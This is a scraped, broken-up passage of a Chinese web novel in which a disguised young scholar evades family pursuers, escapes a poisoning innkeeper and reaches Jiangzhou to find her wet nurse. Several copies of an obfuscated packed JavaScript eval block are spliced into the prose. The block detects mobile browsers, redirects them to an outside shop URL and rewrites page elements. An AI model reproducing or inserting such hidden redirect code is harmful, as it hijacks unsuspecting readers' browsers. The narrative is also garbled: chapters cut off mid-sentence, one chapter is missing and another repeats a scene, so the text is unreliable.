所以才要去书铺,才要慢悠悠地走。 让跟踪的人以为她没察觉,让他们放松警惕。 马车走了一个时辰,到了第一个驿站。 “公子,歇歇脚?”车夫问。 谢青梧下车,活动了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王管家垂手站在下头,大气不敢喘。地上摔碎了个茶杯,茶叶和水渍溅了一地,没人敢收拾。 “走了?”谢明远声音压得低,却透着一股狠劲,“什么时候走的?往哪去了?” 王管家咽了口唾沫:“回大少爷,今儿一早走的。车马行的人说,租的是去津门的车,但出了南城门后,在清水镇歇了一夜。咱们的人跟到那儿,住他隔壁……” “然后呢?” 王管家头垂得更低:“然后今早……人跟丢了。” 谢明远猛地站起来,桌子被他撞得晃了一下。 “跟丢了?”他盯着王管家,一字一句,“两个大活人,跟一个十五岁的书生,跟丢了?” “是……是那小子太精。”王管家声音发颤,“咱们的人说,他今早天没亮就起了,说要走小路看雪景。他们跟着出了镇子,进了山道,拐了几个弯,人就不见了。找了半天,只找到辆空马车,停在岔路口……” 谢明远气得胸口发疼。 他早该想到的。谢怀瑾那小子,从秋闱中举开始,就没一件事在他预料之中。去国子监,办女学,结交公主,哪一件是一个庶子该有的本事? 如今说走就走,还甩了他的眼线。 这是要去江州,去找周氏,去翻林家的旧案。 绝不能让他成事。 “王家那边知道了吗?”谢明远问。 “已经递了消息。”王管家说,“王家老爷说,让咱们务必把人找回来,活要见人,死要见尸。江州那边,他们也会布置人手。” 谢明远冷笑。 王老爷当然急。林家的案子要是翻出来,王家第一个遭殃。通敌,私矿,哪一条都是死罪。 可谢家也脱不了干系。当年是他父亲谢远山拿了王家的好处,把林氏娶进来又逼死,把谢怀瑾当棋子养大。这事要是捅出去,谢家的名声也就完了。 “老爷那边……”王管家试探着问。 “不必告诉他。”谢明远打断,“父亲年纪大了,这些事我来处理。” 他走到窗边,看着外头的雪。 谢怀瑾。 这个他一直没放在眼里的庶弟,如今倒成了心腹大患。早知如此,当初就不该让他读书,不该让他出谢家的门。 可现在说什么都晚了。 “叫王癞子来。”谢明远转过身,“他不是一直想攀咱们谢家的高枝吗?给他个机会。” 王管家眼睛一亮:“大少爷的意思是……” “让他带两个人,往江州方向追。”谢明远说,“谢怀瑾肯定是奔江州去的。告诉他,只要找到人,弄清楚他要干什么,回来重重有赏。” 顿了顿,又补一句:“若是实在弄不清楚……就让他在路上消失。” 王管家心里一凛,低头应道:“是,小人这就去办。” 书房里又剩下谢明远一个人。 他在椅子上坐下,手指在桌上敲着。一下,两下,三下。 谢怀瑾到底知道了多少?账本他看了吗?林家的事他查到了哪一步?还有公主那边,萧玉衡为什么这么帮他? 一个个问题在脑子里转,转得他心烦意乱。 门外传来脚步声,接着是王癞子的声音:“小的给大少爷请安。” 谢明远抬眼。 王癞子三十来岁,长得獐头鼠目,一身棉袄洗得发白,眼神却透着精光。他是王家旁支,没什么正经营生,专干些见不得人的勾当。 “进来。” 王癞子躬着身子进来,脸上堆着笑:“大少爷有什么吩咐?” “谢怀瑾跑了。”谢明远开门见山,“往江州方向去了。你带两个人,追上他,盯着他,看他到底要干什么。” 王癞子眼珠一转:“若是他不让盯呢?” “那就想办法。”谢明远盯着他,“王癞子,你不是一直想出头吗?这事办好了,以后谢家的差事,少不了你的。” 王癞子立刻跪下了:“谢大少爷栽培!小的定把事办得漂漂亮亮!” “记住,”谢明远声音冷下来,“我要知道他去江州见谁,拿什么,说什么。但别打草惊蛇,更别让他发现是谢家派的人。” “小的明白。”王癞子连连点头,“那小子精得很,小的会小心。” 谢明远挥挥手:“去吧。盘缠去账房领,马匹用府里最快的。” 王癞子退下了。 书房里又静下来。谢明远靠在椅背上,闭上眼睛。 他忽然想起很多年前,谢怀瑾还小的时候。瘦瘦小小的一个,躲在姨娘身后,见了他就低头喊“大哥哥”。 那时候谁能想到,这个小庶子有一天会成他的心腹大患。 窗外又飘起雪来。 谢明远睁开眼,看着那雪。一片一片,绵绵密密,像是要把所有的痕迹都盖住。 但有些痕迹,盖不住。 就像有些事,一旦开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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喝完茶,她付了钱,重新上马。 老汉在身后喊:“客官小心啊,山路滑!” 谢青梧应了一声,策马向前。 雪地里,马蹄印一路延伸,很快又被新雪盖住。 像是什么都没发生过。 28.轻车离京 王癞子带着两个人赶到清水镇时,天已经擦黑。 镇子里就一家客栈,掌柜的正趴在柜上打盹。王癞子把门拍得砰砰响,掌柜的吓一跳,揉着眼睛起来。 “几位客官住店?” “不住店,找人。”王癞子掏出块碎银拍在柜上,“今早有没有一个年轻书生,十五六岁,长得俊,带着书箱,住你这儿?” 掌柜的想了想:“有。天没亮就走了,说是走小路看雪景。” “走了?”王癞子心里一沉,“往哪边走的?” “出镇往西,进了山道。” 王癞子转身就走。身后两个人赶紧跟上,其中一个叫张三的嘀咕:“癞子哥,这大晚上的进山,路可不好找。” “不好找也得找。”王癞子骂了句,“要是把人跟丢了,回去怎么跟大少爷交代?你我都得吃不了兜着走!” 三个人牵了马,举着火把进了山。 雪还在下,山路早被盖得白茫茫一片。马蹄子陷在雪里,一步一打滑。王癞子举着火把往前照,隐约能看见前头有车辙印。 “看,是往这边!”他精神一振,“追!” 三人顺着车辙印追了半个时辰,印子越来越浅。走到一个岔路口时,印子突然分了岔,一条往左,一条往右。 王癞子勒住马,左右看看。 左边是上坡,路窄。右边是下坡,路宽些。车辙印在两边都有,但左边的印子深,右边的浅。 “走哪边?”张三问。 王癞子琢磨了一会儿。那小子说是看雪景,该往高处走。可这小子精得很,会不会故意走低处? “分头追。”他下了决心,“我带李四走左边,张三你走右边。不管谁追上了,发信号。” 三人分开了。 王癞子和李四往左追,走了没多远,就看见一辆马车停在路边。马车上没人,车帘子掀着,里头空荡荡的。 “人呢?”李四跳下马,在马车周围转了一圈。 雪地上有脚印,乱七八糟的,围着马车转了几圈,又往林子里延伸过去。王癞子跟着脚印进了林子,走了十几步,脚印突然断了。 前面是一处陡坡,坡下黑漆漆的,什么也看不见。 “掉下去了?”李四伸脖子往下看。 王癞子心里咯噔一下。要真掉下去,人死了,他们回去怎么交代?大少爷要的是活口,问话的。 他正着急,忽然听见远处传来一声哨响。 是张三的信号。 “走!”王癞子调转马头,往右边岔路赶。 等他们赶到时,张三正举着火把站在路边,一脸茫然。 “癞子哥,这……这没人啊。” “那你发什么信号?”王癞子火了。 “我……我看见前头有影子晃,以为是人。”张三缩了缩脖子。 王癞子气得想骂人。他举着火把往四周照,雪地上干干净净,除了他们自己的马蹄印,什么都没有。 那小子就像凭空消失了。 “妈的,被耍了。”王癞子终于反应过来,“那车是空的,脚印是故意留下的,引咱们分头追。他自己早跑了!” 李四和张三面面相觑。 “那……现在怎么办?” 王癞子咬着牙。人跟丢了,回去肯定挨骂。可要是不回去,在这大雪山里瞎转,更不是办法。 “回镇子里打听。”他说,“那小子总要吃饭睡觉,肯定还得找地方落脚。” 三个人垂头丧气地往回走。 而此刻,三十里外的柳河镇上,谢青梧正坐在一家小客栈的房间里,就着油灯看地图。 窗外的雪渐渐小了,偶尔有风刮过,吹得窗纸簌簌响。 她把图舆铺在桌上,手指沿着路线划过去。从柳河镇到下一个码头,还要走两天。码头有船下江州,船期是三天一班。 时间来得及。 她合上图舆,吹灭灯,躺到床上。 今天这一出金蝉脱壳,演得还算顺利。王癞子那几个人,一看就是外行,跟踪都跟得漏洞百出。她故意留下马车和脚印,就是要让他们分头追,白白浪费时间。 等他们反应过来,她早到了柳河镇。 明天一早,她去码头打听船期,买些干粮,再雇个可靠的船工。一切顺利的话,后天就能上船。 水路慢些,但安全。货船人多眼杂,她扮作投亲的书生,混在人群里,不起眼。 唯一的变数是王家。 谢明远知道她南下,王家肯定也知道了。江州是王家地盘,他们会不会在码头布置眼线?会不会查船查人? 得想个法子。 谢青梧翻了个身,面朝墙壁。 或许可以换身打扮,扮作货郎的学徒,帮着搬货上船。或者装病,躺在船舱里不出来。 办法总比困难多。 她闭上眼睛,慢慢睡着了。 梦里依稀是江州的模样,白墙黛瓦,小桥流水。还有一个模糊的身影,站在桥头朝她招手。 是生母吗?她看不清。 第二天一早,谢青梧去码头打听。 码头不大,停着四五条船。最大的那条是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“行吧。”他点头,“明天一早来上工。先说好,活干不好,我可赶你下船。” “谢船家。” 定好了位置,谢青梧松了口气。 她回到客栈,把书箱里的重要东西拿出来,贴身藏着。图舆,密信,银票,玉佩。书箱本身太重,带着惹眼,她决定留在客栈,托掌柜的保管。 一切安排妥当,天也黑了。 谢青梧坐在窗前,看着外头的夜色。 明天就要上船,走水路下江州。这一路二十天,不知还会遇到什么。 但她不怕。 路是她选的,再难也得走下去。 窗外,最后一盏灯笼熄了。 镇子沉入梦乡。 只有码头的方向,还隐约传来货船装货的声音,和船工们低低的吆喝。 新的路程,就要开始了。 29.夜宿荒村 货船在江上走了五天,在一个叫黑水渡的小码头靠岸补给。 船老大说今晚在这歇一夜,明早再走。谢青梧跟着船工们下了船,往渡口边的村子走。 村子不大,十几户人家,零零散散落在山脚下。天阴沉沉的,像是要下雪,风吹得人脸上生疼。 渡口只有一家客栈,木头搭的两层楼,招牌都旧得看不清字。船老大熟门熟路推门进去,掌柜的是个矮胖男人,正趴在柜上打盹。 “老吴,来生意了。”船老大敲敲桌子。 掌柜的抬起头,眯着眼睛笑:“哟,刘老大,又是你。房间都空着,老规矩?” “老规矩,通铺五个,单间一个。”船老大掏钱,“单间给这小公子,人家读书人,要清净。” 掌柜的看了谢青梧一眼,眼神在她脸上停了停,又移开:“成,楼上左转第二间。” 谢青梧道了谢,拿着钥匙上了楼。 房间很小,一张床,一张桌,墙上糊的纸都黄了。窗子关不严,风从缝里钻进来,吹得油灯忽明忽暗。 她把包袱放在床上,坐下歇了会儿。 楼下传来船工们喝酒划拳的声音,热热闹闹的。她没下去,从包袱里拿出干粮啃了两口,又喝了点水。 天完全黑了。 外头风声更紧,吹得窗子哐哐响。谢青梧起身去关窗,手刚碰到窗框,忽然顿住了。 楼下掌柜的声音压得很低,但顺着风飘上来,能听清几个字。 “……一个人……书生……看着……” 她屏住呼吸,侧耳细听。 另一个女人的声音,该是掌柜的老婆:“……药……下重些……别出声……” 谢青梧心头一紧。 药?下重些? 她慢慢退回床边,手摸到枕头下的匕首。冰凉的刀鞘贴着掌心,让她稍微定了定神。 黑店。 这种荒村野店,专做过路人的生意。看人下菜碟,落单的,有钱的,好欺负的,就成了他们眼里的肥羊。 她今天穿得普通,但船老大说了她是读书人,又是单独一间房。在这些人眼里,读书人等于有钱,等于好拿捏。 门外传来脚步声,很轻,停在门口。 谢青梧立刻躺到床上,闭上眼睛,呼吸放匀。 门被推开一条缝,有人探头进来看了看。见床上的人“睡着”了,又轻轻关上门。 脚步声下楼去了。 谢青梧睁开眼,慢慢坐起来。 不能等他们动手。得先发制人。 她看了看房间,桌子有个砚台,挺沉。窗户外面是后院,不高,跳下去应该没事。但天黑看不清,万一有陷阱…… 正想着,门外又传来脚步声。 这次是两个人,一前一后,停在门口。接着是钥匙插进锁孔的声音,门被推开。 掌柜的端着个托盘进来,上面有壶茶,两个杯子。他老婆跟在后面,手里拿着绳子。 “小公子,睡了吗?”掌柜的声音放得很柔,“给您送点热茶,驱驱寒。” 谢青梧没动。 两人走到床边,掌柜的把托盘放下,伸手来推她:“小公子?” 就在他手碰到她肩膀的瞬间,谢青梧猛地睁眼,左手抓起砚台砸向他手腕,右手同时扬起,一把药粉撒向两人面门。 那是云知意给的防身药粉,沾上就迷眼。 “啊!”掌柜的惨叫一声,捂着眼睛后退。他老婆也被撒了个正着,呛得直咳嗽。 谢青梧翻身下床,一脚踢翻托盘,茶壶杯子哗啦碎了一地。她抓起包袱,冲到窗边,推开窗子就要跳。 “拦住她!”掌柜的吼。 他老婆忍着疼扑过来,谢青梧回身又是一把药粉,趁她躲闪的工夫,翻窗跳了下去。 后院是泥地,她落地时滚了一圈,卸了力。爬起来就往院门外跑。 “站住!”掌柜的从窗口探出头,手里拿着把菜刀。 谢青梧头也不回,冲出院子就往渡口跑。夜黑风高,路上一个人都没有。她拼命跑,能听见身后追来的脚步声,还有掌柜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963060|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骂骂咧咧的声音。 渡口就在前面,货船还停在那儿,船上有灯火。 她冲上跳板,船工们正在甲板上喝酒,看见她跑上来,都愣住了。 “刘老大!”谢青梧喘着气喊,“那客栈是黑店,要谋财害命!” 船老大腾地站起来:“什么?” 话音刚落,掌柜的和他老婆追到了码头,手里还拿着家伙。船老大一看这架势,立刻明白了。 “好你个老吴,敢动我船上的人!”他抄起一根船桨就跳下船,“兄弟们,抄家伙!” 五六个船工跟着跳下去,把掌柜的夫妇围在中间。那两人见势不妙,转身想跑,被船工们按住了。 谢青梧站在甲板上,看着下面乱成一团,心跳还没平复。 她摸了摸怀里,东西都在。图舆,密信,银票,玉佩,一样没少。 幸好她警觉,幸好她反应快。 船老大把掌柜的夫妇绑了,派人去村里找里正。过了半个时辰,里正带着两个乡丁来了,问清楚情况,把两人押走。 “小公子,受惊了。”船老大回到船上,拍拍谢青梧的肩膀,“今晚你就睡我屋里,安全。” 谢青梧点点头,嗓子还有点干:“谢船家。” “谢什么,该我谢你。”船老大说,“老吴这王八蛋,以前就听说不干净,没想到真敢下手。要不是你机灵,今晚得出人命。” 船工们也都围过来,七嘴八舌夸她聪明,胆子大。 谢青梧勉强笑笑,没多说。 后半夜,她躺在船老大的房间里,睁着眼睛看天花板。 外头风声小了,偶尔有江水拍打船身的声音,轻轻柔柔的。 她想起刚才那一幕,掌柜的手碰到她肩膀的瞬间,她浑身的汗毛都竖起来了。 差一点,就差一点。 如果她没听见那些话,如果她没防备,如果她反应慢半拍…… 她翻了个身,面朝墙壁。 这条路,比她想的还险。 但再险,也得走。 30.锦衣暗护 第二天一早,货船准备启程时,里正带着两个穿官服的人来了码头。 谢青梧正在甲板上帮着收缆绳,看见那两人,手上动作顿了一下。官服是青色的,腰佩刀,不是普通衙役,像是县衙的捕快。 船老大迎上去,客客气气拱手:“两位差爷,这么早?” 为首的捕快四十来岁,脸方,眼神锐利。他扫了一眼船,目光在谢青梧身上停了停,又移开:“昨晚黑水客栈的事,我们来问个话。” 船老大连忙把昨晚的情况说了一遍,重点说了谢青梧如何识破黑店,如何脱身,他们如何抓住那对夫妇。 捕快听得认真,时不时点头。听完,他看向谢青梧:“小公子受惊了。那吴老六夫妇不是第一次作案,前年也有过路客商失踪,一直没破案。这回人赃并获,多谢你。” 谢青梧垂眼:“差爷言重了,是刘船家和各位兄弟帮忙。” “该谢的。”捕快摆摆手,“我们查过了,你那房间的茶水里确实下了迷药,量不小。要是喝下去,人就没救了。” 他顿了顿,又补一句:“小公子孤身上路,以后还是小心些。尽量走官道,住大点的客栈。” “多谢差爷提醒。” 捕快问完话就走了,走得很快,像是还有别的事要办。里正也跟着走了,走之前还特意跟船老大交代,说县衙会嘉奖他们见义勇为。 船老大乐呵呵地回来,招呼船工开船。 货船缓缓离开码头,江面宽阔,风吹着帆,船速渐渐快起来。 谢青梧站在船尾,看着越来越远的黑水渡。 刚才那个捕快,态度有点奇怪。 普通县衙的捕快,接到这种案子,问话该更仔细些。比如问她从哪里来,到哪里去,做什么营生,身上带了多少银子。 可那个捕快一句没问。 反而像是早就知道她会在这条船上,知道她要南下,知道她是读书人。 还有办案的速度。昨晚半夜才抓的人,今天一早就来问话,连茶水里的药都验出来了。一个小县衙,哪有这么高的效率? 除非……有人提前打过招呼。 谢青梧想起昨晚逃出客栈时,好像看见远处屋顶上有个人影,一闪就不见了。当时以为是眼花,现在想想,或许不是。 有人在暗中跟着她,保护她。 是陆执吗? 只有锦衣卫有这个能力,能让地方衙门这么快行动,能让捕快这么客气。 她摸了摸怀里的令牌,萧玉衡给的公主府令牌。如果是公主安排的人,也该是明面上的护卫,不会这么藏着掖着。 只有陆执,那个从一开始就在监视她的锦衣卫千户。 他想干什么? 从监视到保护,态度转变得太快,让人不安。 “小公子,想什么呢?”船老大走过来,递给她一个烤红薯,“早上刚烤的,趁热吃。” 谢青梧接过:“谢船家。我在想,昨晚那捕快来得真快。” “是快。”船老大咬了口红薯,“我也纳闷呢。往常这种案子,没三五天理不清。这回倒好,天一亮人就来了,问几句就走,利索得不像话。” 他压低声音:“我猜啊,是你运气好,碰上县太爷想挣政绩。那吴老六前年害过人命,一直没抓着,这回逮着了,可是大功一件。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963061|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>谢青梧点点头,没多说。 船老大又说了几句闲话,走开了。 谢青梧慢慢吃着红薯,热乎乎的,甜丝丝的。 心里却有点寒意。 如果真是陆执在暗中保护,那她这一路行踪,都在他眼里。什么时候上船,什么时候下船,见了谁,做了什么,他都知道。 这感觉,像被人捏在手里。 可换个角度想,有锦衣卫暗中保护,至少安全些。王家的人要动手,得先过陆执这关。 她该安心,还是该警惕? 货船顺江而下,两岸山峦起伏,偶尔能看见山腰上的村落,炊烟袅袅。 船工们在甲板上说笑,晾晒衣物,修补渔网。一切都平静得像什么都没发生过。 谢青梧吃完红薯。 不管陆执什么目的,眼下她只能走一步看一步。暗中保护就暗中保护吧,只要不干涉她做事,不阻拦她去江州,别的都好说。 她转身回了船舱。 包袱还放在床铺上,她打开检查了一遍。图舆,密信,银票,玉佩,都在。还有那瓶防身药粉,昨晚用掉一些,还剩大半瓶。 她把药瓶揣进怀里,贴身放着。 接下来的路还长,得小心再小心。 窗外的江面宽阔平静,阳光照在水面上,泛着粼粼的光。 谢青梧看了一会儿,合上眼睛养神。 脑子里却还在转。 陆执为什么会保护她?是因为公主的关系,还是他自己有什么打算?或者,他也想查王家的案子? 想不明白。 但有一点可以肯定:这趟南下,比她想的更复杂。 32.江州在望 漕帮的船在江州码头靠岸时,是个阴沉的午后。 谢青梧站在甲板上,看着眼前这座城。城墙高耸,青砖垒得严实,城楼上插着旗,在风里猎猎地响。码头比青石渡还大,船挤着船,人挨着人,喧哗声混着江水的腥气扑面而来。 赵五走过来,拍拍她肩膀:“谢兄弟,到了。这江州城热闹吧?” 谢青梧点点头:“多谢赵大哥一路照顾。” “客气啥。”赵五咧嘴笑,“你以后要是再来江州,还到这儿找我。漕帮的船,随时给你留着位置。” 两人道了别。谢青梧背起包袱,下了船。 码头上人潮汹涌。脚夫扛着货喊着号子,商贩蹲在路边吆喝,还有戴红帽的税吏挨个查船,声音粗得很。她顺着人流往前走,眼睛却在观察。 城门口排着队,守城的兵卒挨个查路引,查得仔细。轮到谢青梧时,她递上路引,兵卒扫了一眼:“哪来的?干什么的?” “京城来的,寻亲。” 兵卒又打量她几眼,见她穿着普通,像个穷书生,摆摆手:“进去吧。” 进了城,喧哗声更大了。 街道宽敞,两旁店铺林立,绸缎庄,粮行,茶楼,酒肆,一家挨一家。幌子高高挂着,有些写着“王记”,有些写着“王家商号”,隔几家就能看见。 谢青梧放慢脚步,边走边看。 确实繁华。街上行人衣着光鲜,车马装饰讲究,连路边卖糖人的摊子都比别处大些。但总觉得哪里不对。 她在一家茶楼前停下。 茶楼里坐着几个客人,正低声说话。谢青梧装作看招牌,侧耳听了几句。 “……昨晚又抓了两个,说是私贩盐……” “……王家三爷一句话的事……” “……小声点,隔墙有耳……” 话音很快低下去,那几人埋头喝茶,不再言语。 谢青梧继续往前走。 路过一家粮行,门口挂着“王记粮行”的匾额,鎏金大字,亮得晃眼。几个伙计正在卸粮,麻袋堆得老高。一个管事模样的男人站在门口,手里拿着账本,眼睛却盯着街上来往的人。 谢青梧经过时,那管事的目光在她身上停了停,又移开。 她不动声色,拐进旁边一条小巷。 巷子窄些,安静些。两边是普通民宅,门都关着,偶尔有妇人探头出来看一眼,又赶紧缩回去。 谢青梧按着云知意给的地址找。 永昌街,城西。她问了两个路人,一个摇头说不清楚,另一个指了方向就匆匆走了,像怕惹事。 走了约莫两刻钟,终于找到永昌街。 这是条老街道,石板路磨得光滑,两旁多是些老铺子。第三家铺子,是家绸缎庄,门面不大,招牌上写着“何记绸缎”,字迹有些褪色。 谢青梧在门口站了站,掀帘进去。 铺子里光线暗,柜台上摆着几匹布,颜色都素。一个五十来岁的掌柜正低头打算盘,听见声音抬起头。 “客官要看什么布?” 谢青梧看着他,缓缓开口:“林家旧缎可还有?” 掌柜的手一顿,算盘珠子啪地响了一声。他抬起眼,仔细看了看谢青梧,才低声答:“只剩一匹藏蓝色。” 暗号对上了。 掌柜的神色恭敬起来,从柜台后走出来:“公子请里间说话。” 谢青梧跟着他进了后堂。 后堂比前铺宽敞些,摆着桌椅,墙上挂着几幅山水画。掌柜的关上门,转身行礼:“小人老何,见过公子。云姑娘吩咐过,公子这几日会到。” “何掌柜不必多礼。”谢青梧扶起他,“我初到江州,许多事还要请教。” “公子请坐。”老何倒了茶,“这一路可还顺利?” “还算顺利。”谢青梧坐下,“何掌柜在江州多年,对王家了解多少?” 老何脸色凝重起来。 “公子,江州这地方,姓王。”他压低声音,“知府衙门,漕运司,税课司,甚至守城的兵卒,都有王家的人。城里大小商铺,十家有六家挂着王家的牌子。不挂的,要么交保护钱,要么开不下去。” 谢青梧静静听着。 “王家老太爷王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968488|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崇山,今年六十多了,早年做过盐商,后来攀上京城的关系,生意越做越大。现在王家三个儿子,老大管盐,老二管矿,老三管船。手底下养着几百号人,明的暗的都有。” 老何顿了顿:“公子要找的那位周氏,住在城外周家村。但近半年,村里常有些生面孔转悠,打听京城来的老妇人。小人担心,已经有人盯上她了。” 谢青梧心一沉。 比她想的还快。 “周家村离这儿多远?” “三十里地,坐车一个时辰。”老何说,“但公子现在去不合适。那些盯梢的人常在村口守着,生人进村,他们立刻就知道。” “那怎么办?” “等晚上。”老何说,“小人安排辆车,送公子夜里去。避开大路,走小道,悄悄进村。” 谢青梧想了想,点头:“好,就依何掌柜安排。” 老何又说:“公子今晚先住这儿,后院有间客房,干净。小人去准备车马,亥时出发。” “有劳了。” 老何退出去安排。谢青梧一个人坐在后堂,慢慢喝着茶。 茶是普通的绿茶,有些涩。 她想起进城时看到的那些“王记”招牌,想起茶楼里那些人压低的声音,想起粮行门口那个管事警惕的眼神。 江州,果然是王家的江州。 但再深的潭,也得趟。 她放下茶杯,走到窗边。窗外是个小院,种着棵老槐树,叶子落光了,枝干虬结着伸向天空。 天色渐渐暗下来,远处传来打更的声音。 咚,咚,咚。 三更了。 离亥时还有一个时辰。 谢青梧回到桌边,从怀里掏出图舆,又看了一遍周家村的位置。三十里地,夜里走小道,顺利的话,子时前能到。 她合上图舆,吹灭灯。 在黑暗里静静坐着,等时间一点点过去。 窗外有风声,有更声,偶尔还有远处街上的狗吠。 这座城睡着了,但暗处那些眼睛,可能还醒着。 她摸了摸怀里的匕首。 33.绸缎庄内 绸缎庄后堂的门关上后,老何脸上的恭敬更深了三分。 他躬身又行了一礼,才直起身来,声音压得低低的:“云姑娘半月前就传了信,说公子这几日会到江州,让小人务必接应妥当。公子一路辛苦。” 谢青梧扶他起身:“何掌柜不必多礼。我初来乍到,许多事还要仰仗你。” “公子言重了。”老何请她坐下,转身倒了杯热茶,“这是江州本地的茶,粗了些,公子将就喝。” 谢青梧接过茶杯,没急着喝:“何掌柜,云姑娘信中说,你知晓乳娘周氏的下落?” 老何神色凝重起来。 “是,周嬷嬷就住在城外周家村,离这儿三十里地。”他顿了顿,声音压得更低,“但公子,情况有些不妙。” 谢青梧抬眼:“怎么说?” “近半年来,周家村常有生面孔转悠。”老何说,“都是些江湖打扮的人,在村口茶馆坐着,一坐就是半天,眼睛盯着进村的路。逢人便打听,有没有京城来的老妇人,姓周,五十多岁。” 谢青梧手指微微一紧。 王家动作真快。 或者说,谢明远动作真快。从他知道账本在她手里,到她南下,不过十来天时间。王家的人却已经在江州盯了半年。 说明他们早就防着这一手。 “那些人盯得紧吗?”她问。 “紧。”老何点头,“小人派伙计去过两回,装作收山货的。村里人说,那些人不光是白天盯着,夜里也有人在村口守着。周嬷嬷深居简出,几乎不出门,但这样下去,迟早会被发现。” 谢青梧沉默片刻。 乳娘处境危险,她必须尽快见到她。但那些盯梢的人…… “他们有多少人?怎么轮换?”她问。 “常驻的有四个,分两班,白天两个,夜里两个。”老何说,“但每隔三五天会换一批人,来的都是生面孔。小人猜测,王家在江州养的人手不少,轮换着来,不容易引人注意。” 谢青梧心里快速盘算。 四个盯梢的,两班倒。夜里虽然人少,但夜色掩护,盯梢的人更警觉。而且周家村地形她不熟,贸然夜访,风险不小。 “何掌柜对周家村地形熟吗?” “熟。”老何走到墙边,那里挂着一幅江州城郊图。他手指点在一处:“这就是周家村,背靠小山,前面有条小河。进村只有一条大路,村口有棵老槐树,盯梢的人常在那儿守着。” 他手指往旁边移:“但村子后面有条小路,通往后山。平时村民砍柴走的,窄,不好走,但能避开村口。” 谢青梧仔细看着地图。 村子不大,二十来户人家,周氏的院子在村子最里头,挨着后山。如果从后山小路进去,翻墙入院,确实能避开村口的眼线。 “这条路夜里好走吗?” “不好走。”老何实话实说,“没月亮的时候,黑得很。而且小路陡,有碎石,容易摔。” 谢青梧想了想:“何掌柜能弄到夜行衣和攀墙的钩索吗?” 老何一愣,随即点头:“能。绸缎庄里就有深色的布,连夜赶制一身不难。钩索……库房里有以前运货用的绳索,改改能用。” “好。”谢青梧说,“那就今夜子时,我从后山小路进村。何掌柜帮我准备夜行衣和钩索,再安排一辆车,送我到后山山脚。车要普通,不起眼。” 老何有些犹豫:“公子,这太冒险了。万一被那些人发现……” “所以才要夜里去。”谢青梧语气平静,“他们盯了半年,没见周嬷嬷出过门,也没见外人找过她,警惕心会慢慢松懈。而且夜里人乏,是机会。” 她顿了顿:“再说,我也等不起。王家的人既然已经盯上乳娘,随时可能动手。我得赶在他们前面。” 老何看着她,这个才十五岁的少年,说话做事却沉稳得不像这个年纪。难怪云姑娘如此看重。 “小人明白了。”他躬身,“这就去准备。公子先在后院客房歇着,晚膳好了叫您。” “有劳。” 老何退出去后,谢青梧一个人坐在后堂。 她起身走到窗边,推开一条缝往外看。街上人来人往,几个挑担的小贩在叫卖,两个妇人挎着篮子买菜,一切看起来平静寻常。 王家在江州经营几十年,树大根深。她一个外乡人,单枪匹马,要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973485|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这张网里救人,取证,每一步都得如履薄冰。 她关上门,走到桌边坐下,从怀里掏出那本生母的诗集。 翻开扉页,那行字依然清晰:“愿吾女此生,不必藏锋,不必屈膝,堂堂正正立于天地间。” 